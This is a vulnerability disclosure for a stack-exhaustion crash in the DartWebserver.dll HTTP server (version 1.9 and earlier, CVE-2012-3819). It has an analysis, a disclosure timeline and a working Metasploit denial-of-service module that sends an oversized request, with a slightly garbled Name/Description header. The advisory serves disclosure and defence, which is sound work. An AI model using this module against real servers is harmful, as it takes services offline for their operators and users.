Overview

DartWebserver.Dll is an HTTP server provided by Dart Comunications
(dart.com). It is distributed intheir PowerTCP/Webserver For ActiveX
product and likely other similar products.

"Build web applications in any familiar software development
environment. Use WebServer for ActiveX to add web-based access to
traditional compiled applications."

Version 1.9 and prior is vulnerable to a stack overflow exception,
these maybe generated by producing large requests to the application,
e.g. "a" * 5200000 + "\n\n"

Analysis

During the processing of incoming HTTP requests the server collects
data until it encounters a "\n\n" sentinel. If the request is large,
multiple copies are made and stored on the stack, this consumes the
amount of stack space available to the process quickly, leading to a
stack overflow exception being thrown. This exception is not handled
and will typically lead to the termination of the parent process. Some
variations may exist per system depending on pre-existing memory
conditions and modification of Proof Of Concept (PoC) code may be
necessary to reproduce the exception.

Timeline

10/20/2011 - Discovered the bug in an affected vendor application
10/20/2011 - Contacted affected vendor
10/21/2011 - Affected vendor replies stating they can not get the
product vendor to create a fix
06/29/2012 - CVE assignment
08/08/2012 - Contacted product vendor providing specifics
08/20/2012 - Product vendor created an issue number (#5654) for the
bug, but reply "there are not immediate plans to resolve the issue"
09/28/2012 - Posting to bugtraq, for the first time ever

PoC (MSF Module)

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Description' => %q{ 'Name' => 'Dart Webserver
<= 1.9.0 Stack Overflow',
Dart Webserver from Dart Communications throws a stack
overflow exception
when processing large requests.
}
,
'Author' => [
'catatonicprime'
],
'Version' => '$Revision: 15513 $',
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2012-3819' ],
],
'DisclosureDate' => '9/28/2012'))

register_options([
    Opt::RPORT(80),
    OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust',

'520000' ])
])
end
def run
serverIP = datastore['RHOST']
if (datastore['RPORT'].to_i != 80)
serverIP += ":" + datastore['RPORT'].to_s
end
size = datastore['SIZE']

    print_status("Crashing the server ...")
    request = "A" * size + "\r\n\r\n"
    connect
    sock.put(request)
    disconnect

end

end